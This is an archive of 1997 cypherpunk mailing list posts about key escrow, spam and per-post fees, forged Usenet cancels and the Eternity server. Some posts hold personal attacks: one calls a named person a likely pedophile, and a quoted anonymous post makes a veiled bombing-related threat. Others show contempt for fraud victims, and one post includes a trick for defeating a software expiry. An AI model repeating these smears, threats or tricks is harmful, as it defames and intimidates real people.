Key Management Infrastructure...  They might not do it, not only because
it would require everyone to change their email programs, but more
seriously because it would require everyone to use encryption-capable
mailers (or at least signature-capable), and even with 40-bit escrowed
mail, it makes eavesdropping much more work.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 5 Aug 1997 02:42:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Denning backs away from GAK
In-Reply-To: <3.0.2.32.19970801185452.007746e8@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970804093718.00772074@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:22 PM 8/1/97 -0700, Tim May wrote:
>I disagree. A likely scenaria, I fear, is this:
>* Denning's new study gets publicity
>* Denning is "redeemed" and gains new influence
>* GAK is delayed for this year
>* Denning continues her study
>* Next year's report finds solid evidence that crypto is being used to
>hinder investigations, and has indeed had an effect.
...
>* Denning's new conclusions, and her redemption, 
>will generate support for GAK.

Tim, being more cynical than I am, is probably correct :-)
But still, we should take advantage of it when we can;
never miss a chance to use government statistics in ways that
annoy their originators....

Denning's previous big-publicity study was the interim report on
Clipper security (saying Skipjack was apparently quite strong),
which achieved its propaganda goals; the final report, which was supposed
to address the whole Clipper system, including the on-chip parts
and the key escrow process in the NSA/Mykotronix vault, was never
released, which I consider to be a substantial piece of intellectual
dishonesty.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 01:46:12 +0800
To: freedom-knights@jetcafe.org
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311743.SAA02470@server.test.net>
Message-ID: <8w6wae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm back from the weekend to a large quantity of unanswered e-mail
which I'll get to eventually. if you said something of interest in
the last week or so, I'll comment on it this week - I hope.

But first I'll rant and rave some more on the subject of payment for
physical transportation and the snail mail, with the payment for the
Internet in mind.

Adam Back <aba@dcs.ex.ac.uk> writes:

> 
> William Geiger MLCVXII <whgiii@amaranth.com> writes:
> > In <199707311120.MAA00669@server.test.net>, on 07/31/97 
> > >  at 12:20 PM, Adam Back <aba@dcs.ex.ac.uk> said:
> > >
> > >One way to implement this is for other people to pay the author for their
> > >articles a penny if they like the article.  That way people who write
> > >things which others find interesting to read get subsidized posting.  Is
> > >it still free speech if you have to pay for your posts if you're arguing
> > >for an unpopular minority?
> > 
> > This will not work!!!
> > 
> > Charging for e-mail/news posts will do nothing to prevent spam and
> > more than likely increase the noise on such lists. It is the spamers
> > who have the money to post volumns of their crap.
> 

As I think I pointed out before, the "spammers" would be more willing to
spend money to post than the folks who just talk and answer questions.
I wouldn't answer questions on comp.unix.questions if I had to pay to
do that. Any scheme that requires the poster to pay will dampen signal
more than it will damped the noise and thus worsed the signal to noise ratio.

> For email spam I disagree.  I currently get 10 spams a day or so.  All
> as a result of one unprotected post to a USENET group a few weeks
> back.  Before that I hadn't posted to USENET for a while and the spams
> had nearly died down.
> 
> If the spammer had to pay 1c for each spam, he'd be out of business
> with his current scatter gun approach.  He'd have to get a lot more
> selective, because it would be in his commercial interests to do so.

I've been getting dramatically less junk e-mail sent to the addresses which
I placed on the various "removal" lists. (Maybe 1 or 2 / day, vs 10-20 on
the 'control" ones.)
> 
> > Also I think you will find that it will be the fanatics who
> > will think it worth the $$$ to get their message out.
> 
> Fine by me, so long as they're paying their way, the NoCems from a
> reliable rating service will take care of them.
> 
> You have more of a point in newsgroups, or mailing lists as the
> spammer only has to make one post.
> 
> Charging for posts in that scenario only makes sense to stop people
> who spew multiple mega-bytes of robo-spam just to be annoying, and for
> no commercial gain at all.
> 
> NoCems are the real answer to public forums.  Spammers will feel less
> incentive to spam when it becomes clear most people have them filtered
> out anyway.
> 
> > While I find the various mailling lists & newsgroups of intrest the
> > majority of them are not thet intresting that I would be willing to pay
> > $$$ every time I post a reply to someones questions (most of my posts
> > outside of CP are answering questions on programming,crypto, & OS/2). I
> > think that the overall quality of the newsgroups would decline if you
> > started paying on a per-post basis.
> 
> Surely you aren't that prolific a writer that 1c a post would
> be a burden on you?
> 
> I make what 20 posts a day at peak?  Often 1 or none some days.
> 
> > It should be noted that the Bandwith issue is a red-herring. It is an
> > antiquated concept from the Fidonet days and does not apply. The bandwith
> > of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
> > ISP customers pay for their connections to their ISP who in turn pay for
> > their connections to the Access providers who inturn pay for the Backbone.
> > The PIPE has been paid for what goes over it not an issue. If all I want
> > to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
> > ones busines but my own. If I chooses to use my bandwith to transmit a
> > variety of file formats using various protocols
> > (HTTP,FTP,GOFFER,ARCHIE,...ect) who are you to say that some formats are
> > good and some are not!! (this is not even getting into the content of the
> > data being shiped).
> 
> That's interesting, and probably true, but still bandwidth is limited,
> see.  It is entirely possible for some idiots to consume vastly more
> than their share of the shared pipe.
> 
> Probably what you're saying is that you like a lot of other "power
> users" myself included use more bandwidth than the average neophyte.
> So you're in favor of flat charges because it represents a good deal
> for you.
> 
> Get me on a T1 and I use it, man.  Hmm, I'll just upgrade to gcc 2.7.x
> (10 megs later) and then I'll upgrade the OS (another 50 megs later),
> and so the day gos on.  Bandwidth hog.
> 
> Sitting on the end of this pay per second 28.8k PPP line really cramps
> my style :-) I've started buying linux CD sets, and upgrading OS less
> frequently.  I'm still on X32a (for linux people) even though it's
> expired and tried to disable it's self, I've hacked around the
> disablement (set the clock back 2 months for a couple of seconds while
> it's starting, and then forward again part way through seems to fix
> it) because I don't fancy the cost of 10 megs at 28.8k, nor the
> hassle.
> 
> Now I would be pretty happy to spend $500 - $1500 a year for a 64k
> leased line, or at least for a flat rate phone bill.  But nooo you
> can't get that in the UK.  You're looking at more like $10k once
> you've factored in leased line + bandwidth leasing.


Bill G wrote that the payment for (non-toll) roads is flat. This
isn't quite true. You see, the more you use a road, the more gasoline
you use up. When you buy gasoline, a very substantial portion of its
price are the taxes imposed by varous gubmint entities. A "toll-free"
road still brings revenues when it's used - the more traffic, the more
gas is burned, the more gas is bought, the more tax is paid. The funds
raised from gasoline taxes are supposed to be earmarked for highway
repairs and new construction.  Thus, the gubmint taxes you for every
mile you drive. Owners with less "fuel-efficient" cars are taxed more
heavily. All miles are equal, whether you drive on an interstate or
around your own backyard.  Tolls come in when the gubmint wants to
make a certain mile "more equal" than the other miles. E.g. in New
York City it costs $7 to cross the Verazzano bridge from Brooklyn
to Staten Island, but if you live on Staten Island, you can get a
discount. (By the way, this toll is used to subsidize the subway, 
which doesn't even go to Staten Island.)

Of course the U.S. highway infrastructure isn't getting adequate
maintenance anyway and is failing at an increasing rate.

The New York City subways/buses are an example of a true flat rate. 
Last months the system changed so that if you use a little plastic
card to pay your fare instead of the traditional token, you can
change for free between buses and subways.  Thus, someone who lives
and works in Manhattan and takes a subway for 1 or 2 stops pays the
same $1.50 as someone who takes the subway from Manhattan to the
outskirts of Queens and then changes to a bus. The argument is that
once the infrastructure is in place, the incremental cost of carrying
one more passenger doesn't depend much on how far he's going. The
real reason is that the users who benefit from this fare structure
are much more likely to vote Republican than the users who
subsidize them. :-) And NYC subways are still in a much worse shape
than the public transportation in cities where the fare depends on
the length of the trip (like Washington, DC, or London) or is
artificially low and can't cover the costs (like Moscow).

I might as well remind those still reading this rant that the reason
why NYC subways fell into such disrepair was political. When 3 private
companies built competing underground railroad systems in NYC in late
19th/early 20th century, they each charged a flat 5c for a ride and
had sufficient revenue for maintenance, new construction, and dividends
to the investors. Unfortunately, USD like any other currency is
subject to inflation. When the 3 companies tried to raise their fares
to match their rising costs, the New York City and State politicians
didn't let them. To keep the subway fare at 5c was the standard
promise of every politician running for NYC mayor in the first half
of the century. The subway companies were forced to operate at a loss
and were happy to turn over their trains to the Metropolitan
Transportation Authority - a piece of gubmint controlled by New York
State. Now that the gubmint owns the subways, the fares have been
rising much faster than the inflation. (I remember when the subway
cost 50c on a weekday, 25c on a weekend.) However the years of
neglect (blamed on the lack of capital) have left the subways in
a much worse shape, and the repairs are likely to cost more than
regular maintenance would have. (Just like the U.S. highway
infrastructure.)

And the cost of collecting the fares is a substantial one. (This is
also the case with long distance telephone calls - I believe that
flat-rate service, not wasting any resources on keeping track how
long a particular user has used a circuit, will prevail eventually.)
E.g. the MTA just spent close to $1B on installing new turnstiles
with card readers. Most users of New York City subways already pay
a special city income tax (not that I like it). Wouldn't it be more
"efficient" to make the subways "free", and to collect the funds
for running the subways from the "general" city and state taxes?
(Using taxes is the socialist solution; letting a private company
charge a flat fee for unlimited usage, if it so chooses, is the
efficient free market solution.)

Now on the subject of snail mail: someone asked why USPS is in the
business of censoring content (e.g. pyramid schemes). USPS has been
in this business for a long time. It refuses to deliver "obscene"
content, and in the past refused to deliver "birth control"
information (to a consenting recipient) judging it to be obscene.
Not too long ago USPS used to raid "competing" services, such
as FedEx, examine the contents of the letters, judge that they
weren't sufficiently "urgent" and should have sent via 1st class
mail (USPS's gubmint-granted monopoly), and harrass the sender
and the recipient. Not too long ago USPS seriously proposed
charging 1st class postage any time a fax machine was used.

Is USPS's postage "flat"? Obviously, they charge per piece of mail.
However is costs the same 32c to smail a first-class envelope under
a certain weight from Queens to Brooklyn or to Hawaii. Obviously, it
takes much more effort to deliver such a letter to HI than to Brooklyn.
The European tradition was to charge according to the distance the
letter was supposed to travel. I recall reading that in late 19th
century USPS simply did not deliver to rural areas - the farmer was
supposed to travel to his nearest post office to collect the mail.
There was a political battle in U.S. Congress, with "free rural
delivery" being the slogan of the politicians representing the
states with a lot of farmers, while the ones from the more urban
states did not want their contituents to subsidize the obviously
expensive rural delivery. Eventually the farmers won, resulting
in the birth of "mail order" industry - companies mass-mailing
catalogs and delivering good by mail (such as Sears), who were
in fact subsidized by the city dwellers who had to pay the same
postage to deliver a package across town than Sears paid to
deliver its catalog across the Great Plains.

It costs USPS much more to deliver an envelope with a handwritten
address than one with an OCR-readable address. That's why the senders
of "junk mail" (pre-sorted, with OCR-ready labels) are said to
subsidize the senders who scribble something on an envelope - even
though the "bulk" postage is less than "first class". USPS has
been talking about various schemes so people who mail a single
envelope with an OCR-ready address would get a smaller postage
hike than the "scribblers".

I'm not sure what all this means in terms of flat vs. metered
Internet fees, so in closing I'll rant about the pyramid schemes,
"airplane games", "earn money stuffing envelopes" scams, et al.
No gubmint should be in the business of declaring them to be
"illegal" any more than they should be declaring pornography, 
bomb-making  recipes, religious propaganda, or crypto programs
to be "illegal". 

You may recall that the first wide-known pyramid scheme was run
buy a chap named Ponzi in Boston. He collected money from 
"investors", and said he expected to pay back a handsome return
based on some "postal orders" business. He did in fact pay the
promised returns to the early invesors using the funds collected
from the later investors, until the rate at which he had to
pay out the old investors exceeded the rate at which he was
getting new investors. Ponzi was arrested, convicted of "fraud"
(because he was claiming that the returns came from "postal
orders" when in fact they didn't), spend a brief time in jail,
then moved to Florida where he made lots of money on the real
easte boom.

A similar scheme in Russia by an organizaton called "MMM", run 
by the Mavrodi bothers, left a large number of "investors"
holding the bag. Interestingly, one of the Mavrodi brothers
is now in Russian jail (awaiting trial), and the other one is
still running a pyramid scheme: he accepts "voluntary donations"
from an investor, in return for a "voluntary donation" at a later
date whose amount and time are not guaranteed and depend on
the "donations" collected from others. The Russian government
does not shut down Mavrodi's latest operation so far, claiming
it's not "fraud" since he doesn't misrepresent the source of
his returns nor the risks involved. Reportedly so far he's
getting oodles of investors and pretty good returns. Eventually
of course his scheme will collapse, but the "investors" who
got in and out early enough will have made good money.

A similar scheme recently brought down the government of Albania.
Reportedly the investors who got in late in the game and didn't
get the returns they expected (or actually lost their investments)
demanded that the gubmint reimburse them for their losses (by
taxing the money from the more intelligent Albanians). When
the idiots want the gubmint to protect them from their own
idiocy, the gubmint happily uses this excuse to screw not only
those who would fleece the idiots, but everyone.

The obvious moral of this extra-long rant is that gubmint of any
kind is a root of all evil and Kent Crispin sounds like a pedophile.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 5 Aug 1997 01:38:06 +0800
To: cypherpunks@toad.com
Subject: "The Big Sellout," on self-labeling, from Time
Message-ID: <v03007803b00bbd4e4683@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Netly is running Josh Quittner's column in this week's
Time Magazine as our story today. It's about the perils
of self-labeling systems for the Net, especially for
news organizations. Stop by and check it out.

Also, on p48-49 of this week's magazine is a look at
censorware programs and public libraries. It's called
"Censor's Sensibility: Are Web filters valuable
watchdogs or just new online thought police?" Bruce van
Voorst and I worked on the story from the Washington
bureau. (It's not on pathfinder.com yet, so you'll have
to pick up a physical copy.)

Also, stop by our Netpolitics chat area where we're
discussing self-labeling and censorware:

  http://cgi.pathfinder.com:80/cgi-bin/boards/read/206/9

-Declan

---

http://pathfinder.com/netly/opinion/0,1042,1247,00.html

The Netly News Network (http://netlynews.com/)
August 4, 1997

The Big Sellout
by Joshua Quittner (quittner@pathfinder.com)

     The greatest threat to free speech these days is
coming from the most unlikely quarter: journalists.
It's happening - where else? - on the Net. A
self-appointed council of "industry representatives,"
including people from the Wall Street Journal, the
Newspaper Association of America, CNET, Wired and - no
surprise! - Microsoft, is debating whether the online
world might be a safer, happier place if a
subcommittee of the council decides what's news and
what's not. Anything deemed "not news" would be forced
to submit to a rating system or risk being blocked by
software browsers. And being blocked on the Web could
mean extinction for small, independent-minded online
publishers - the very folks who have benefited most
from the Internet revolution. The whole thing reeks of
the powerful beating up on the weak.

     The roots of the betrayal go back to June 1996,
when the notion of rating Web content first took off.
That was when Microsoft forced its myriad web sites to
adopt a system that analyzes content according to the
degree to which it contains sex, nudity, violence or
obscene language. The official reason for this was to
make the Net a "safe place" without government
censorship - which made sense, I guess, given that the
Supreme Court had not yet ruled the Communications
Decency Act unconstitutional.

     It also made good business sense for Microsoft to
adopt an idea that adds value to one of its key
products, the Internet Explorer. Explorer is the
second-most popular browser on the Web; a software
component that gives parents the option to filter out
the naughty bits is a big selling point. But what's
good business for the software industry is nonsense
for journalism - as the folks who run Microsoft's news
web site quickly realized.

[...]



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Mon, 4 Aug 1997 13:48:40 +0800
To: cypherpunks@cyberpass.net
Subject: Joichi gives up / Tim Throws a "Leaner" / Re: Tim Speaks the Truth /  Re: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708040542.OAA12229@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



OK. I give up. I think DreamMonger's last comment about at least sort of
believing in my intentions is about the best it will get for me here.
Tim, you're in my killfile now too so I'm not going to respond directly to
your
comments.

Now at least when I am going through the meatgrinder, I won't know if it is
a cypherpunk or a Japanese fascist who's sending me through.

At 05:46 97/08/04 +0200, Anonymous wrote:
>   I hope Joichi Ito paid enough attention to the OKC bombing to realize
> that some surgeons are less skilled than others, and that there is a
> risk in remaining too long in close proximity with cancerous tissue.

Some Japanese conservatives probably think *I* am the cancerous tissue that
their people shouldn't hang out with...

- Joi

--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:30:32 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Content Suggestions
In-Reply-To: <Pine.LNX.3.91.970804151603.350B-100000@fatmans.demon.co.uk>
Message-ID: <T8eXae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > Favorite Cypherpunks Cryptographic Links, including helpful offshore
> > source code archives, and a pointer to the Cyphernomicon.
> 
> Yes, actually posting some crypto code to the eternity archive would be a 
> good way to export it, I know it`s big but how about the whole platform 
> independent source to PGP v5.0 as a plaintext document.
> 
> Oh, and how about some $cientology "copyrighted" documents.

I said back when theprototype Eternity server was announced that this was
a very important development; I'm glad that it's moving forward.

I'd like to nominate another candidate for the eternity server.

As some folks on this list may be aware, the Spanish government has been
trying to censor the basque nationalist web site with a limited degree of
success.

A week or so ago the basques exploded a bomb killing one person. The
Spanish gubmint publicly demanded that CNN remove the link from its
Web site to the Basque site, calling them terrorists. The CNN declined
and this victory for free speech was touted al over the Internet.

What didn't seem to get much coverage is the fact that the basque site
was hosted by the Institute for Global Communications.  I remember ICG
from the days I was helping bring the Internet to Eastern Europe. They're
well-meaning folks, but very cowardly and not too technically sophisticted.
The Spanish government organized a mailbombing campaign against them, 
similar to the campaigns against the "spammers". (It sounded to me like
both mailbombs and ping storms were involved, all coming from numerous
sites in .es.) Last week ICG bent over and announced that they're
pulling the plug on the Basque site.

This act of government-sponsored net.terrorism and content censorship must
not go unpunished, but the first step is to ensure that the Basque site
is up and running. I sugggest putting it on the Eternity server, and
mirroring it on any other servers that are willing to put up with the
blackmail and denial-of-service attacks from the net.terrorists organized
by the Spanish government.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 5 Aug 1997 02:15:21 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970804014714.120A-100000@shirley>
Message-ID: <Pine.LNX.3.91.970804151234.350A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > > Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> > > posts into usenet you don't wish them to be removed from usenet?
> > 
> > That would be for Dimitri to decide for himself, and not for some 
> > cocksucker to take a unilateral decision on.
> 
> I have made no such unilateral decision,  I have simply asked a question
> of the good Doctor.

Quite so, maybe this was phrased in such a way as it looked insulting to 
you, it wasn`t intended to be so, merely a general swipe at cancel-forgers.

> > Of course disabling cancels on all news-servers would mean such a freak
> > article couldn`t be cancelled, even by it`s author, 
> 
> Wouldn't authentercated cancel models be better so an artical could be
> cancelled by its author and no other.

This would be a good idea, which I thought about when I posted the 
article, but it`s probably too much to expect all the news-admins of the 
major sites to keep up to date with their s/w and for the s/w authors to 
write in such functionality, just turning of cancels is easier. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 5 Aug 1997 03:09:45 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Eternity Content Suggestions
In-Reply-To: <19970803231431.4542.qmail@zipcon.net>
Message-ID: <Pine.LNX.3.91.970804151603.350B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Favorite Cypherpunks Cryptographic Links, including helpful offshore
> source code archives, and a pointer to the Cyphernomicon.

Yes, actually posting some crypto code to the eternity archive would be a 
good way to export it, I know it`s big but how about the whole platform 
independent source to PGP v5.0 as a plaintext document.

Oh, and how about some $cientology "copyrighted" documents.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 5 Aug 1997 02:13:30 +0800
To: cypherpunks@Algebra.COM
Subject: Humor: Extracts from the News of the Weird mail list
Message-ID: <Pine.LNX.3.91.970804153135.350C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




* In March, armed with evidence that a drug dealer had been killed
with a single gunshot during a robbery by two men, Torrance,
Calif., district attorney Todd D. Rubenstein obtained separate jury
convictions of both men for firing the fatal shot.  Both robbers' guns
had fired, but one missed, and a conclusion as to which one could
not be drawn from ballistics tests.  Rubenstein asserted confidently
to one jury that Stephen Edmond Davis, 19, shot the man, and just
as confidently to the other jury that it wasn't Davis, but rather John
Patrick Winkleman, 19.

* Former Prestonburg, Ky., school board member Wood R.
Keesee, 59, filed a lawsuit in May against a female court clerk to
whom he had allegedly loaned money in 1996.  Under the terms of
the $1,800 loan, according to Keesee, she was to have 18 sexual
encounters with him, but when she stopped after three, he filed the
lawsuit. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:35:56 +0800
To: cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311751.MAA21324@mailhub.amaranth.com>
Message-ID: <P6gXae5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:
> Well the ISP may have 200 customer for the T1 line but they woun't have
> 200 dial up lines per T1 (at least not one that wishes to stay in business
> long). Now how many dial-up lines per T1 a ISP will have will depend on
> the traffic analysis for his customer base. There is nothing wrong with
> oversubscribing his bandwith because he knows that all his cutomers will
> not be on-line all the time using 100% of their 28.8 dial-up bandwith.
> What an ISP does have to provide for is enough bandwith to be able to
> handle the amount of dial-ups he has available. If an ISP has 200 dial-up
> lines then he best provide enough T1's to be able to support them.
> 
> The same is true for Access providers. If an access provider is servicing
> 20 T1's then he best have the bandwith to the backbone to provide the
> bandwith that he has sold. He is collecting the $$$ to provide the service
> he is obligated to provide it.

Unfortunately a lot of ISPs - both local and national - have done exactly
that - oversubscribed to the point of defrauding their customers.

A friend of mine subscribed to his local ISP - the usual deal, $19.95/month
for unlimited use.  One day he gets a phone call from the ISP's owner asking
(in a rather irate manner) if he's running 'bots or "keepalive" or why he's
spending so much time tying up the modem.  The friend replied that he's doing 
neither of those things, but he does spend 5 or 6 hours every day browsing
the Web and reading newsgroups.  The ISP owner wasn't happy. Soon the friend
began to experience loss of carrier whenever he was connected via PPP during
the evening. He called up the ISP and asked if he's just dropping his carrier.
The ISP would neither confirm nor deny, but repeated that the friend stays
online "too much". At this point the friend told him to close the account
and moved to a different ISP.

We used to have a shell account at a local ISP who had non-stop problems with
their disks, their news server, their modem pool (ringno-answer, can't busy
out the brokenmodems....) We left them last year; I understand that now their
system has completely broken down and they're blaming it on some mythical
"spammers" rather than their incompetence.

> 
> Now if an access provider does detailed analysis of his traffic and
> determins that he needs only 4 T3's to provide service for 20 T1's and
> therefore reduces his costs that's fine. But if one of his T1 customers
> traffic increases he is obligated to add more bandwith on his end to
> handle it.
> 
> This is what the whole bandwith issue comes down to. ISP & Access
> providers atempting to maximise profits for given resources. This doesn't
> nullify their obligations to their customers. If they sell T1 bandwith
> 24/7 to their customers then they are required to provide that service if
> their customers demand it. The current movement to blaim users for using
> the resources that they have been sold is wrong. It is no different that
> if a car dealer sells you a 100,000 mile warrenty on a car then renigs on
> the contract because he really didn't expect you to drive 100,000 miles
> with it.

Ah but they have a great excuse - the mythical "spammers".  We really meant 
to service a 300-modem pool through this T1, but the spammers stopped us from
doing that.  Reminds me how the Soviets in 1930s blamed all possible problems
(and there were lots of real problems) on "saboteurs", and how the Nazis in
the same time frame blamed all of their (real) problems on Jews.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:35:47 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <3.0.2.32.19970731102244.006f3430@popd.ix.netcom.com>
Message-ID: <5wHXae8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

> At 10:36 PM 7/30/97 -0400, Ryan Anderson wrote:
> >"Make Money Fast" are killed because they're illegal scams in the US and I 
> >think in most of the world.

This doesn't give the various net.scum any right to forge cancels for them.
(I used to forge cancels for MMFs years ago - I was very wrong.)

But this is not the only kind of content censorship going on under the guise
of 'spam cancels".  Check out the Net.Scum Web site.  One guy decided to cancel
an entire thread discussing the requirements for setting up a MUD server
claiming it was "spam".  Another forged a cancel for a national Science
Foundation announcement in sci.fractals figuring it was off-topic, therefore
"spam".  It takes a special kind of asshole to take up "spam-cancelling"
and most of them don't stop at cancelling just the "multi-posted" articles -
they quickly diversify into foring purely content-based cancels.

> 
> They're illegal in the US primarily because the Post Office is confused
> about whether its job is to deliver the mail or to censor it,
> and delivery of MMFs by mail is policed by Postal Inspectors just as
> delivery of obscenity by mail is.  It's a side effect of having services
> provided by a government monopoly rather than the free market,
> though I'm sure that to some extent it's because people started 
> complaining to the Post Office that they were receiving junk mail,
> and complaining to their legislators that they lost money on these scams.
> 
> On the Internet, on the other hand, not only is the stuff spam and a scam,
> but it's abusing flat-rate prices for service, and service providers
> don't like it.  Julf's remailer used to block MMFs.

MMFs are one example of a "memetic" article which encourages the readers to
reproduce it and post it elsewhere.  Does anyone remember the Craig Shergold
meme?  When I worked at GS, I came across a paper copy of it - a bunch of
p.r. and salespople were faxing it to one another and asking for business
cards to be sent to it.  The idiot sysadmins at a school I taight at put
the craig Shergold appeal in the message-od-the-day on the school computer.
> 
> Pyramid scams like the MMF, and the government's inability to deal with it,
> brought down the Albanian government recently.  Here in the US that would
> _never_ happen (:-), assuming of course you don't consider Social Security
> to be a Ponzi scheme....

This reminds me of the old farts who lost lots of money in the mini-crash in
Oct 87.  Basically, they sold insurance to other investors against the maret
suddenly going down a lot (which is a low-probability event, but can happpen and
I think will happen again any day now :-)  They were collecting their equivalent
of insurance premiums. When the market did hucckup and they had to pay what
they promised they would, they started screaming that they weren't warned
adequately that their income wasn't "risk-free" and they might actually have
to perform their part of the contract they entered!

Why should the gubmint protect people from pyramid schemes and other such scams?
("make money at home stuffing envelopes" seems to be a related scam that's
very popular and not "illegal".)  Any time a sucker tries to beat the market,a
xtto get more than the normal return without incurring extra risk, he
deserves to be fucked.  Gubmint's attempts to "protect" the sucker limit
the freedom not of the crooks who'd fleece him (they'll find a way), but
the regular people who are neither crooks not suckers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 5 Aug 1997 07:53:59 +0800
To: cypherpunks@toad.com
Subject: Clinton's threat of line-item veto affect crypto bill?
Message-ID: <199708042336.QAA00471@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone have any idea whether Clinton's threat of using the
line-item veto against portions of the big spending bill could
be leverage against some pro-SAFE legislators?

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:34:48 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <199708011508.KAA04749@raid2.fddi.phoenix.net>
Message-ID: <icJXae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



wireinfo <wireinfo@phoenix.net> writes:

> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >On Thu, 31 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> >
> >> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> >> 
> >> > Nno one is arugeing that.  Both sides in this debait aggry that that is 
> >> > REAL BAD thing.  Spam cancelers use an objective rules.
> >
> >[...]
> 
> You're not very bright are you David?

In my humble opinion David is pretty bright.  Unfortunately he's misguided
about certain things.  I think the extreme aversion to censorship (like that
displayed by imp and myself) seldom arises in people who haven't themselves
been victims of censorship (plug-pulling or forged cancels, not 'censored thro
being drowned up by the dissenting opinions" "-)

> 
> 
> >> Let me clarify two things:
> >> 
> >> 1. "Spam cancellers" are not generally news admins.
> >
> >I think you will have to justerfy this,  the top spam cancellers are all
> >news adimns.
> 
> Aer nto.

